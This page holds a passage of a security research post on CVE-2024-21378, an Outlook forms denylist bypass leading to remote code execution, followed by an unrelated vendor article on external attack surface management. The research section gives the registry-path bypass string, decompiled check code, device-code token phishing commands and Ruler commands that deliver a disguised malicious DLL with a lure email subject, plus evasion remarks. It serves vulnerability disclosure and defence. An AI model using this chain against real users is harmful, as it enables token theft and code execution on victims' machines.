We also found that adding InProcServer32, to the VBScript form keys and syncing the form back to Outlook via MFCMAPI would cause a failure as we would receive the “Forms that bypass Outlook cannot be installed” error. We could clearly see this was a denylist as any other key we set would be created.

This brought us to a new line of questioning, the first being where is this denylist implemented? Could we circumvent this denylist through alternative registry keys that would not be on the denylist but would still allow us to gain code execution or execute a COM hijack? Do they limit the GUID? If we supply a GUID of a CLSID that already exists, would that work, append to the registry, or fail out? But then again, it seemed arbitrary, whatever keys we put in the form would simply be created, which seemed to us like just a bad policy.

We decided to start hunting for where the denylist was occurring. This is a bit tricky because Outlook is a beast to decompile, but we might be able to get there with help from ProcMon. We open ProcMon and execute the form one more time specifically filtering for our COM GUID.

Reviewing the stack in Process Monitor

As you can see above the last call in the stack before RegOpenKeyExA follows from a function call in OLMAPI32.DLL. We begin decompiling OLMAPI32.DLL and meander through functions and their references, ScOpenRegKey -> RegisterFormClass -> HrDownloadFormFiles, until we eventually come upon a familiar looking property tag, 0x6902001F! Well, we find 0x6902001E which is the ASCII version of our original property tag.

Jumping to our address identified in ProcMon
Reviewing references to ScOpenRegKey and discovering RegisterFormClass
Selecting a reference to RegisterFormClass
Discovering our property tag of interest within the RegisterFormClass function

Reviewing RegisterFormClass once again we find our check function (sub_1803DF094) and the denylist variable (v8 = (LPCSTR *)off_1806DAB0). 

Note: some of the variable and function names below have been modified for clarity.

The check function and denylist variable (names modified)
Our sought after denylist variable

Reviewing the delta between the denylist check and the installation we find a simple bypass using a relative path by prefacing each new line with “\”. For example, “InprocServer32=%d\evil.dll” was blocked whereas “\CLSID\{00000000-1234-1234-1234-FEED00000000}\InprocServer32=%d\evil.dll” was not blocked.

__int64 ApplyRegistryKeysFromString(HKEY regKey, LPCSTR path, LPCSTR lpSubKey, char *value) {
    HKEY hKey = 0;
    int pathLen = strlen(path);
    char *block = strdup(value);
    if (!block) return 2147942414;

    char *lineStart = block;
    while (lineStart && *lineStart) {
        const char *lineEnd = strchr(lineStart, 10);
        if (lineEnd) {
            *lineEnd = 0;
            lineEnd++;
        }

        char *equalSign = strchr(lineStart, 61);
        const char *keyValue = equalSign ? equalSign + 1 : “SzNull”;

        if (equalSign) *equalSign = 0;

        if (*lineStart == ‘\\’) {
            if (ScOpenRegKey(&hKey, HKEY_CLASSES_ROOT, lineStart + 1, 2, 1) == 0) {
                if (RegSetValueA(hKey, 0, 1, keyValue, strlen(keyValue)) != 0) {
                    return -2147221167;
                }
            }
        } else {
            if (ScSetRegValue(&hKey, regKey, lineStart, keyValue, strlen(keyValue)) != 0) {
                return -2147221167;
            }
        }

        lineStart = (char *)lineEnd;
    }

    free(block);
    return 0;
}

Our research demonstrated that as an authenticated user we could: 

  • Create any registry key under HKCR and set the key’s (default) value
  • Place any number of files at an arbitrary location on disk
  • Create a form that when executed would lead to Outlook loading the registered COM object by CLSID.

Weaponization

As mentioned at the beginning of this article, a main driver for our research was our success with Device Code authentication token abuse during Red Team engagements. Having identified a vulnerability we could exploit for remote code execution, we proceeded to fork and modify Ruler to support authentication to Exchange Online via compromised access tokens. We considered various execution techniques but for the purpose of this proof-of-concept we kept it simple by adding code to sync a form containing the required properties to execute an arbitrary COM compliant native DLL. The public fork containing the PoC code will be found here along with a pull request to the original repo at a later date.

Some initial OpSec concerns we identified off the bat:

  • Triggering the form requires user interaction for execution (although some further digging might reveal automated execution).
  • The DLL will be extracted to the well-known FORMS directory, which could be monitored from historical attacks.
  • CLSID changes in the registry are executed by the Outlook process.
  • The DLL will be loaded into the Outlook process.

Below we provide a high-level overview for a general exploitation flow:

  1. Obtain credential material for a targeted user.
  2. Create a COM compliant DLL that we want to execute.
  3. Specify our credential material, DLL and other required/optional parameters to Ruler.
  4. Ruler will authenticate to the Exchange Server/Exchange Online and send the form as an email.
  5. The user will then need to trigger the form by either clicking, forwarding, or printing the email from their Microsoft Outlook thick client on a Windows device.
  6. Execution of the form will create the registry keys, drop the DLL to disk and load the DLL into the Outlook process.

In this section, we will walk through practical exploitation of the issue. First, we obtain refresh tokens via device code phishing/vishing using our weapon of choice, in this case TokenTactics.

PS C:\TokenTactics> Import-Module .\TokenTactics.psd1
PS C:\TokenTactics> Get-AzureToken -Client Outlook
user_code        : L78NMWTT3
device_code      : [REDACTED]              
verification_url : https://microsoft.com/devicelogin
expires_in       : 900
interval         : 5
message          : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code L78NMWTT3 to authenticate.

authorization_pending
token_type     : Bearer
scope          : AuditLog.Read.All 
[TRUNCATED]
expires_in     : 8492
ext_expires_in : 8492
expires_on     : 1697842572
not_before     : 1697833779
resource       : https://graph.microsoft.com/
access_token   : eyJ0[REDACTED]

PS C:\TokenTactics> $response.access_token | clip

After compiling a COM DLL, we send the form using our fork of Ruler. Below is an example Ruler command, note that the order of the provided arguments matters. Ruler will authenticate to Exchange Online with our Outlook access token and send a form as an email message that includes the DLL file. 

$ go run .\ruler.go --token "[REDACTED]" --email user@example.com --o365 --debug form add-com --dll evil.dll --suffix Evil -s
[+] Found cached Autodiscover record. Using this (use --nocache to force new lookup)
[+] Create Form Pointer Attachment with data:  \CLSID\{00000000-1234-1234-1234-FEED00000000}\InprocServer32=%d\Microsoft.Teams.Shim.dll
Starting Upload
Writing final piece 0 of 0
[+] Create Form Template Attachment
Starting Upload
Writing 0 of 43
[TRUNCATED]
Writing final piece 43 of 43
[+] Form created successfully:  IPM.Note.Evil
[+] Sending email.
[+] Email sent!

Again, in the example above we have created a new form and sent a trigger email to the compromised email account (from itself). Although the form is installed, execution will not occur unless the trigger email is clicked (viewed in the preview pane), forwarded, or printed from within the Outlook thick client. 

Let’s take a look at some of the possible arguments for our new functionality in form add-com.

$ go run ruler.go form add-com -h                                                                                                                                                         
NAME:
   ruler form add-com - creates a new COM based form.

USAGE:
   ruler form add-com [command options] [arguments...]

OPTIONS:
   --suffix value           A 3 character suffix for the form. Defaults to pew (default: "pew")
   --dll value, -d value    A path to a the COM DLL file to execute
   --clsid value, -c value  CLSID to use for the remote registration (default: "random")
   --name value, -n value   The DLL name on the remote system (default: "Microsoft.Teams.Shim.dll")
   --hidden                 Attempt to hide the form.
   --send, -s               Trigger the form once it's been created
   --body value, -b value   The email body you may wish to use (default: "This message cannot be displayed in the previewer.\n\n\n\n\n")
   --subject value          The subject you wish to use, this should contain your trigger word (default: "Exchange Quarantine Report")

There are obviously some OpSec considerations left up to the reader.

Conclusion

Microsoft has released patches for CVE-2024-21378 (see the MSRC update guidance for your version of Outlook and/or Office) and we hope delaying this post a bit has given organizations a head start. We also hope that this brings back attention to what we think is a yet to be fully explored attack surface (and how shallow some protections can be). Discovering the vulnerability and bypassing it wasn’t overly complicated – we took the normal hacker-ish approach of trying to push our understanding of the underlying technology and protocols a bit further, not to mention, building on top of previous research certainly helps.

For defensive teams, Microsoft has previously published guidance regarding detecting and remediating Outlook rule and forms abuse, https://learn.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-outlook-rules-forms-attack?view=o365-worldwide.

Timeline:

  • Sept 29, 2023 – Vulnerability submitted to Microsoft.
  • Oct 2, 2023 – Microsoft opens case.
  • Oct 25, 2023 – Microsoft confirmed the behavior reported and states that they will continue their investigation and determine how to address this issue.
  • Feb 04, 2024 – Confirmation from Microsoft that a fix will be released in the following patching cycle.
  • Feb 13, 2024 – Fix for CVE-2024-21378 is released and case is closed.
  • Feb 28, 2024 – Errors in CVE FAQ and CVSS reported to Microsoft.
  • Mar 04, 2024 – Microsoft acknowledges they received the details and begins coordination with internal stakeholders.
  • Mar 05, 2024 – Microsoft updates CVE to address FAQ and CVSS errors.
  • Mar 11, 2024 –NetSPI published vulnerability and exploit details without the POC
  • Mar 18, 2024 – NetSPI published PoC

References:

Back

NetSPI’s View on the 2023 Gartner® Competitive Landscape: External Attack Surface Management Report 

Table of Contents


External Attack Surface Management (EASM) accelerated to the frontline of proactive security — and for good reason. The technology creates a comprehensive view of a company’s external assets by mapping the internet-facing attack surface to provide better insight into changes and where to focus the attention of security teams. Gartner wrote a report that explains EASM in-depth, including why asset discovery is the tip of the EASM iceberg, and how EASM support Continuous Threat Exposure Management.1 

What is External Attack Surface Management? 

External Attack Surface Management provides an outside-in view across a company’s attack surface to reveal assets and potential exposures. Focusing on external attack surfaces brings the greatest security value to organizations because of the sprawling growth of external attack surfaces. In fact, 67% of organizations have seen their attack surfaces expand in the last two years.2 

EASM is useful in identifying unknown assets and providing information about the organization’s systems, cloud services and applications that are available and visible in the public domain and therefore could be exploited by an adversary. 

According to Gartner, “Common EASM capabilities include:  

  • Performing external asset discovery of a variety of environments (on-premises and cloud).  
  • Continuously discovering public-facing assets as soon as they surface on the internet and attribute those assets to the organization (commonly using proprietary algorithms) for a real-time inventory of assets. Examples of public-facing assets are IP, domains, certificates and services.  
  • Evaluating if the assets discovered are risky and/or behaving anomalously to prioritize mitigation/remediation actions.” 
ASM Freemium Scan Tool

Beyond Asset Discovery: How External Attack Surface Management Prioritizes Vulnerability Remediation 

Given the inevitable sprawl of attack surfaces, many companies are embracing External Attack Surface Management solutions to discover their full scope of assets and prioritize critical remediations. 

Asset discovery is an important capability to have, and one that’s helping to drive the adoption of external attack surface management. That said, asset discovery is only one aspect of effective EASM.  

Why Asset Discovery Isn’t Enough 

While asset discovery is an important and complex step, by itself, it’s not a comprehensive measure to advance security posture. 

According to the Gartner report: 

“In order to be more actionable, EASM needs to support data integration and deduplication of findings across systems, automation of assigning the asset/issues to the owner of the remediation process and tighter integration with third party systems. These include ticketing systems, security information and event management (SIEM), security orchestration, automation and response (SOAR), configuration management database (CMDB), and vulnerability assessment tools. Some EASM provides remediation steps and guidance on prioritized issues, a dashboard to track the remediation progress, or the creation of playbooks.” 

For attack surface management to effectively improve an organization’s offensive security program, it must incorporate vulnerability prioritization and remediation tracking as well, such as with NetSPI ASM

See what NetSPI ASM can do for your security by watching an on-demand demo of NetSPI’s solution.

Using an EASM Platform for Prioritized Vulnerability Remediation 

Taking a penetration testing engagement from start to finish requires many phases, including steps for remediation. Tests often result in a lengthy list of vulnerabilities that are ranked by severity. At NetSPI, our differentiator is the people behind our platform. Our human team of proactive security agents has deep cross-domain experience with manual analysis of vulnerability findings to validate their potential risk to a business. This context limits false positives, reducing noise and helping security teams respond more effectively. 

Automation is a vital capability, both for asset discovery and vulnerability remediation. But when human-driven noise reduction is involved, it creates the strongest attack surface possible. 

The Role of EASM in Continuous Threat Exposure Management (CTEM)

Gartner states:  

“CTEM is defined as a set of processes and capabilities that allows enterprises to continually and consistently evaluate the accessibility, exposure and exploitability of an enterprise’s digital and physical assets. It is composed of phases — scoping, discovery, prioritization, validation and mobilization — and underpinned by a set of technologies and capabilities, of which EASM is one. CTEM is different from risk-based vulnerability management (RBVM) in that the latter is an evolution of traditional vulnerability management, while CTEM is the wider process around operating and governing overall exposure. It includes solving the identified vulnerabilities as well as optimizing processes in the future so that the vulnerabilities do not resurface. 

EASM is foundational to CTEM for two reasons. First, it provides continuous and improved visibility into assets that organizations have less control over, such as SaaS applications and data held by supply chain partners and suppliers. Second, it assesses and prioritizes resources in mitigating/remediating issues that attackers are most likely to exploit and therefore benefits organizations during the first three phases of CTEM: scoping, discovery and prioritization.”

According to Gartner, there are 5 Phases of Continuous Threat Exposure Management: 

  1. Scoping 
  2. Discovery 
  3. Prioritization 
  4. Validation 
  5. Mobilization 

External Attack Surface Management Supports Scoping, Discovery, and Prioritization 

External Attack Surface Management assists in the first three phases of CTEM: scoping, discovery, and prioritization by supporting businesses through the inventory of known digital assets, continuous discovery of unknown assets, and human intelligence to prioritize severe exposures for timely remediation.  

Let’s look deeper at the first three phases in CTEM: 

  • Scoping: Identifies known and unknown exposures by mapping an organization’s attack surface. 
  • Discovery: Uncovers misconfigurations or vulnerabilities within the attack surface. 
  • Prioritization: Evaluates the likelihood of an exposure being exploited. NetSPI ASM combines technology innovation with human ingenuity to verify alerts and add the necessary context to prioritize remediation efforts. 

In some cases, such as with NetSPI, proactive security companies take this a step further by also performing penetration testing on the identified vulnerabilities to validate they are vulnerable and to prove exploitation.

How External Asset Surface Management Relates to Penetration Testing 

The Gartner report explains: 

“EASM can complement penetration testing during the information gathering phase about the target (finding exploitable points of entry). The convergence between penetration testing and EASM will become more prominent as automated penetration testing solutions continue to emerge. 

Most penetration testing performed today is human-driven, outsourced and conducted annually (making it a point-in-time view), which is why the automated penetration testing market has emerged. Although automated penetration testing is an emerging market on its own, some vendors have already added EASM and vice versa. This is because vendors that started in the automated penetration testing market were initially only doing automated network penetration testing and not external testing. Technologies such as EASM, DRPS, BAS and automated penetration testing can collectively provide organizations with a realistic view of the full attack surface within their environment. This lets organizations test what they can or cannot prevent and detect, as well as determine how they would respond in the event of an attack. Therefore, the convergence of these technologies can better support organizations in their CTEM program.”

Manage Your Growing Attack Surface with NetSPI ASM 

NetSPI is recognized as a Sample Vendor in the Security Testing category offering EASM. We believe NetSPI Attack Surface Management solution combines cutting-edge technology with extensive proactive security expertise to provide the richest insight into the attack surface. Our team and tools empower security staff to protect an ever-expanding number of assets and address vulnerabilities with prioritized remediation actions. By making the external attack surface as difficult to penetrate as possible, companies prevent more attacks before they even start, further improving the effectiveness of security teams. 

Ready to bring proactive insights to your attack surface? Learn more about advancing your security program by talking with our team.

Gartner Objectivity Disclaimer

Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. 

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X